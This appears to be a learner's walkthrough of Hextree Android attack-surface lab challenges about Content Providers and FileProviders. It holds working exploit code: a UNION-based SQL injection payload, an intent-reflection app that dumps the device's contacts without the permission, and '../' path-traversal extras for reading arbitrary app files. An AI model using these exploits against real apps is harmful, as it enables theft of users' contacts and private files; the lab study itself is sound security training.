Android has an interesting feature to share data and files with other apps in a secure way. But this also increases the attack surface and there are a few pitfalls developers run into.
A Cursor in Android is an interface that provides read-only, forward-only access to a set of data retrieved from a database, such as the contacts stored on the device. It acts as a pointer to rows in the result set of a query.
Content Provider
What is a Content Provider?
A Content Provider is an Android IPC mechanism that allows apps to securely share structured data with other apps.
It acts like a database API, allowing apps to query, insert, update, and delete data using URIs.
Example Use Cases:
Contacts (ContactsContract.Provider)
Media files (Photos, Videos)
Call logs, Messages
Custom app data sharing
Content Providers are identified and accessed with a content:// URI.
This Content Provider is responsible for storing, managing, and providing access to contacts.
It uses the authority"contacts;com.android.contacts", meaning multiple URIs can be used:
content://contacts/people (deprecated)
content://com.android.contacts/contacts
content://com.android.contacts/raw_contacts
content://com.android.contacts/data
It allows apps with the correct permissions to read (READ_CONTACTS) and write (WRITE_CONTACTS) contacts.
and it's main logic is in class ContactsProvider2
as we queries content provider there is query method defined in ContactsProvider2 class to handle query. similarly there is methods for updating, writing, deleting data etc.
e.g. getContentResolver().query, getContentResolver().update, getContentResolver().delete etc.
Lots of ContentProviders are backed by a SQLite database,
so any of your action is directly mapped to a SQL query which performs SQL commands to make changes in sqlite database.
Now lets' look at challenge, we have a provider aith authority io.hextree.flag30that is exported and mapped to Flag30Providerclass.
and to resolve this you just have to declare in manifest we are querying with this app. As we did previously in services section.
Content Providers can use a UriMatcher to route the incoming queries to different methods. e.g.
public class Flag31Provider extends ContentProvider {
....
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
}
...SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag31Provider.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag31", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match == 1) {
throw new IllegalArgumentException("FLAGS not implemented yet: " + uri);
}
if (match == 2) {
long parseId = ContentUris.parseId(uri);
Log.i("Flag31", "FLAG_ID: " + parseId);
if (parseId == 31) {
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag(uri.getPath());
success(logHelper);
}
return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
public String success(LogHelper logHelper) {
ContentValues contentValues = new ContentValues();
String appendLog = logHelper.appendLog(Flag31Activity.FLAG);
contentValues.put(FlagDatabaseHelper.COLUMN_VALUE, appendLog);
this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_FLAG, contentValues, "name=?", new String[]{"flag31"});
try {
Intent intent = new Intent();
intent.setClass(getContext(), Flag31Activity.class);
intent.putExtra("secret", secret);
intent.addFlags(268435456);
intent.putExtra("hideIntent", true);
getContext().startActivity(intent);
} catch (Exception e) {
e.printStackTrace();
Log.e("Flag31Provider", "Exception in start activity. Restart the target app and try again.", e);
}
return appendLog;
}
You can see first provider class creates URI matcher which assigns different number to all possible path values.
uriMatcher2.addURI(AUTHORITY, "flag/#", 2); here # is placeholder for integer values. which means a path like content://authoritu/flag/123 will match with second URI matcher
long parseId = ContentUris.parseId(uri); extracts integer ID part from URI.
Note: same as broadcast, services content providers also doesn't allow us to launch activity from background to not disturb user UI experience. Unless app was recently opened .
As you have ssen already user supplied data is passed to SQL query, what does that hint sql injeciton. let's look at this challenge
public class Flag32Provider extends ContentProvider {
...SNIP...
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
}
..SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag32Provider.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag32", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match != 1) {
if (match == 2) {
long parseId = ContentUris.parseId(uri);
Log.i("Flag32", "FLAG_ID: " + parseId);
return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : "");
Log.i("Flag32", "FLAGS: " + str3);
Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str3, strArr2, null, null, str2);
if (containsFlag32(query)) {
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag(uri.getPath());
logHelper.addTag("flag32");
success(logHelper);
query.requery();
}
return query;
}
public boolean containsFlag32(Cursor cursor) {
if (cursor == null) {
return false;
}
int columnIndex = cursor.getColumnIndex(FlagDatabaseHelper.COLUMN_NAME);
while (cursor.moveToNext()) {
if ("flag32".equals(cursor.getString(columnIndex))) {
return true;
}
}
return false;
}
if path matches /flags it goes on to create sql query String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : ""); and then executes it to retrieve all flags that are visibile =1 . where str is user controlled selectionparameter in query() that we send.
The android:grantUriPermissions="true" attribute in the <provider> tag allows the content provider to grant URI-based permissions to other apps, meaning that you can give specific external applications access to particular URIs within your content provider, even if the provider itself is not exported to the outside world.
When you set android:grantUriPermissions="true", you're allowing external applications (other apps besides your own) to access specific data within your content provider, but only for particular URIs that you explicitly share.
How It Works:
URI Permissions: These are specific permissions granted for accessing certain content within a content provider using URIs. For instance, you might want to allow another app to access just one table or one type of data in your provider without giving them full access to everything.
How the Other App Uses the Permission: When another app tries to access the content provider, it must have the proper permissions. With URI permissions, you can allow another app to access specific URIs in your provider, even if the provider is not "exported" (i.e., accessible to all apps).
this activity recive an intent , modify it with URI of a ocntent provider and add a permission for receiving app. i.e. intent.addFlags(1);which allows receiving app to access resource at content://io.hextree.flag33_1/flags flag 1 is Intent.FLAG_GRANT_READ_URI_PERMISSION this is a temporary permission.
When you use Intent.FLAG_GRANT_READ_URI_PERMISSION (or FLAG_GRANT_WRITE_URI_PERMISSION for write access), you're telling Android to allow the external app to access the resource specified by the URI and only that resource.
code of content provider class.
public class Flag33Provider1 extends ContentProvider {
public static final String AUTHORITY = "io.hextree.flag33_1";
private static final int FLAGS = 1;
private static final int NOTES = 2;
public static String secret = UUID.randomUUID().toString();
private static final UriMatcher uriMatcher;
private FlagDatabaseHelper dbHelper;
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "notes", 2);
}
....SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag33Provider1.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag33Provider1", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match != 1) {
if (match == 2) {
throw new IllegalArgumentException("access to Notes table not yet implemented");
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag("access-notes-table");
logHelper.addTag("flag33");
prepareDB(logHelper);
Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str, strArr2, null, null, str2);
if (containsFlag33(query)) {
success(logHelper);
}
return query;
}
void prepareDB(LogHelper logHelper) {
ContentValues contentValues = new ContentValues();
contentValues.put(FlagDatabaseHelper.COLUMN_CONTENT, logHelper.appendLog(Flag33Activity1.FLAG));
this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_NOTE, contentValues, "title=?", new String[]{"flag33"});
}
public boolean containsFlag33(Cursor cursor) {
if (cursor == null) {
return false;
}
boolean z = false;
while (cursor.moveToNext()) {
int i = 0;
while (true) {
if (i >= cursor.getColumnCount()) {
break;
}
if ("flag33".equals(cursor.getString(i))) {
z = true;
break;
}
i++;
}
}
return z;
}
in order to reach success we need to include all flag from database that has name flag33.
however that is present in different table. we will need some sql injection also
public class MainActivityHextree extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
if(checkSelfPermission("android.permission.READ_CONTACTS")!= PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{"android.permission.READ_CONTACTS"}, 42);
}
((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent("io.hextree.FLAG33");
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1"));
startActivityForResult(intent, 2);
}
});
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
String str = data.getDataString();
Cursor cursor = getContentResolver().query(Uri.parse(str), null, "name='flag32' union select _id, title, content, 1 from note", null, null);
//Log.d("url",ContactsContract.RawContacts.CONTENT_URI.toString());
//getContentResolver().
if (cursor!=null && cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
Intent intent = new Intent();
intent.setFlags(2);
} while (cursor.moveToNext());
}
}
here we send the intent receive the content provider URI with permission and send sql payload along with URI.
target application can send implicit intent too with content provider URI and content provider logic is same as last one.
note: without scheme or hostname os won't see your app as correct lsitener. Inititlaly i was doing intent action filter and i was getting error. then including atleast scheme solved it.
Take a look at this intent reflection vulnerability.
public class Flag8Activity extends AppCompactActivity {
public Flag8Activity() {
this.name = "Flag 8 - Do you expect a result?";
this.tag = "ActivityResult";
this.flag = "SswwbqGWnA950TVWt2lccPUGxr4PyWorpunFllh8DOY=";
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Log.i("Process", "id in stealing flag 8: " + Process.myPid());
this.f = new LogHelper(this);
ComponentName callingActivity = getCallingActivity();
if (callingActivity != null) {
if (callingActivity.getClassName().contains("Hextree")) {
this.f.addTag("calling class contains 'Hextree'");
success(this);
} else {
Log.i("Flag8", "access denied");
setResult(0, getIntent());
}
}
}
when else block executes it sends back the same intent that it recived. in this scenario this target app had access to contacts. which opens a door for a malicious app to access contacts without asking for that permission by just sending a intent with content provider URI and permission flag to this activity.
when it sends back that result intent, it will have temporary permission to access contacts too.
e.g.
public class MainActivity extends AppCompatActivity {
// Cursor cursor
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Button homeButton = findViewById(R.id.home_button);
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity"));
intent.setData(Uri.parse("content://com.android.contacts/raw_contacts"));
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent, 1);
}
});
}
@Override
protected void onActivityResult(int req, int resp, Intent data){
super.onActivityResult(req,resp,data);
Log.d("here","gg");
Cursor cursor = getContentResolver().query(Uri.parse(data.getDataString()),null,null,null,null);
if (cursor!=null && cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
} while (cursor.moveToNext());
}
}
here we send the content provider URI and permission that we want in our intent . which is reflected back by our target app on receiving it we can query contacts and dump .
FileProvider
Content resolvers are not just used for accessing database content. They can be used to share files in memory with other apps too.
A typical URI generated for this FileProvider could look like this content://io.hextree.files/other_files/secret.txt. Where the sections can be read like so:
content:// it's a content provider
io.hextree.files the authority from the android manifest
other_files which configuration entry is used
e.g
public class Flag34Activity extends AppCompactActivity {
public static String FLAG = "odku80B0ub1HAB/HVRDwNmNGdmHGt9fO13eZ9cK7QqNvWiWnSZ2U7dH7Mnl2BAb+";
public Flag34Activity() {
this.name = "Flag 34 - Simple File Provider";
this.tag = "File Provider";
this.tagColor = R.color.purple;
this.flag = FLAG;
this.description = Flag34Activity.class.getCanonicalName();
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
setResult(0, intent);
return;
}
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
setResult(-1, intent2);
}
void prepareFlag(Context context, String str) {
if (str.contains("flag34.txt") && new File(getFilesDir(), str).exists()) {
LogHelper logHelper = new LogHelper(context);
logHelper.addTag("file-provider");
logHelper.addTag("flag34");
Utils.writeFile(this, "flags/flag34.txt", logHelper.appendLog(FLAG));
}
}
}
In this activity you can see on create, a content provider uri is created depending upon what we send as stringextra or do not set any extra. and that URI is sent back as result. with following permission
Read the file (FLAG_GRANT_READ_URI_PERMISSION).
Write to the file (FLAG_GRANT_WRITE_URI_PERMISSION).
How it works?
getFilesDir() resolve to every app's internal file directory. e.g. /data/data/io.hextree.attacksurface/files
new FIle(getFiledir(), secret.text)
Creates a File object that represents the file located inside the app’s internal storage. e.g. `/data/data/io.hextree.attacksurface/files/secret.txt`
Calling FileProvider.getUriForFile()
javaCopyEditUri uriForFile = FileProvider.getUriForFile(
this, // Context (Activity or Application)
"io.hextree.files", // Authority (Defined in Manifest)
new File(getFilesDir(), secret.txt) // File object (Physical file path)
);
This method takes:
Context (this) → Needed to retrieve app-specific resources.
Authority ("io.hextree.files") → Must match the provider defined in AndroidManifest.xml.
File object (new File(getFilesDir(), stringExtra)) → Represents the actual file to be shared.
Finding the Corresponding FileProvider
Android checks the authority ("io.hextree.files") against providers declared in AndroidManifest.xml.
If it finds a FileProvider matching the given authority, it loads its associated file paths from res/xml/file_paths.xml.
the app defines which directories can be exposed via FileProvider.
"path='.'" → Means all files inside getFilesDir() are accessible.
Generating content URI:
/data/data/io.hextree.app/files/flag34.txt
will become
content://io.hextree.files/other_files/secret.txt
and indeed that's what we get as result.
we need to read flag so we set the filename as extra and receive the uri and read the content from memory.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Button homeButton = findViewById(R.id.home_button);
Intent intent = new Intent();
intent.putExtra("filename","flags/flag34.txt");
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity"));
startActivityForResult(intent,2);
}
@Override
protected void onActivityResult(int req, int resp, Intent data){
super.onActivityResult(req,resp,data);
Utils.showDialog(this, data);
try {
InputStream input = getContentResolver().openInputStream(data.getData());
BufferedReader reader = new BufferedReader(new InputStreamReader(input));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
reader.close();
input.close();
Log.d("Result", String.valueOf(stringBuilder));
} catch (RuntimeException e) {
throw new RuntimeException(e);
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
this returns a content URI content://io.hextree.files/flag_files/flag34.txt which is mapped for /data/data/io.hextree.attacksurface/files/flags/flag34.txt
whose content we can read.
Insecre root path
Compare the filepaths.xml to the rootpaths.xml file provider configuration. Why is the <root-path> considered "insecure"?
Remember that the file provider configuration is used to generate file sharing URIs such as content://io.hextree.files/other_files/secret.txt. These sections can be read like so:
content:// it's a content provider
io.hextree.files the authority from the android manifest
other_files which configuration entry is used
/secret.txt the path of the file relative to the configured path in the .xml file
The file provider with a <root-path> configuration will generated URIs like this content://io.hextree.files/root_files/data/data/io.hextree.attacksurface/files/secret.txt. If we decode these sections we can see that this provider can map files of the entire filesystem
content:// it's a content provider
io.hextree.root the authority from the android manifest
root_files which configuration entry is used
/data/data/io.hextree.attacksurface/files/secret.txt the path of the file relative to the configured path, which is mapped to the filesystem root!
In itself the <root-path> configuration is not actually insecure, as long as only trusted files are shared. But if the app allows an attacker to control the path to any file, it can be used to expose arbitrary internal files.
which allows us to do file path traversal if path is attacker controlled
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
setResult(0, intent);
return;
}
Intent intent = new Intent();
intent.putExtra("filename","../flag35.txt");
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity"));
startActivityForResult(intent,2);
Here we tried reading a file that is outside the directory which getfilesdir() returns.
and we get access to arbitrary files.
Arbitrary file write
As shown before we also get write permission to content URI, which means we can update arbitrary files. But general app security applies here too, an app in android doesn't have permission to write files everywhere like /etc/hosts so you can't overwrite that.
This can be used if you know (from you analysis )if target app uses some .sofiles which can be overwritten or any other imporatant files.
FileProvider Receivers
Apps not always provide access to files using content URI, they can also receive data using content URI. e.g. an app can send content provider URI to target app and target app tries to import URI data to its' internal files .
e.g.
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Uri data = getIntent().getData();
Cursor cursor = null;
try {
try {
cursor = getContentResolver().query(data, null, null, null, null);
if (cursor != null && cursor.moveToFirst()) {
String string = cursor.getString(cursor.getColumnIndex("_display_name"));
long j = cursor.getLong(cursor.getColumnIndex("_size"));
this.f.addTag(Long.valueOf(j));
this.f.addTag(string);
if ("../flag37.txt".equals(string) && j == 1337) {
InputStream openInputStream = getContentResolver().openInputStream(data);
if (openInputStream != null) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(openInputStream));
StringBuilder sb = new StringBuilder();
while (true) {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
} else {
sb.append(readLine);
}
}
openInputStream.close();
this.f.addTag(sb.toString());
if ("give flag".equals(sb.toString())) {
success(this);
} else {
Log.i("Flag37", "File content '" + ((Object) sb) + "' is not 'give flag'");
}
}
} else {
Log.i("Flag37", "File name '" + string + "' or size '" + j + "' does not match");
}
}
if (cursor == null) {
return;
}
} catch (Exception e) {
e.printStackTrace();
if (0 == 0) {
return;
}
}
cursor.close();
} catch (Throwable th) {
if (0 != 0) {
cursor.close();
}
throw th;
}
This app recives the intent and extracts the content provider URI and query it and tries to fetch _display_name & _size metadata .
then app move forward to read content from content provider URI and matches it to `give flag`.
We can write our app which implements this contentprovider and send back result.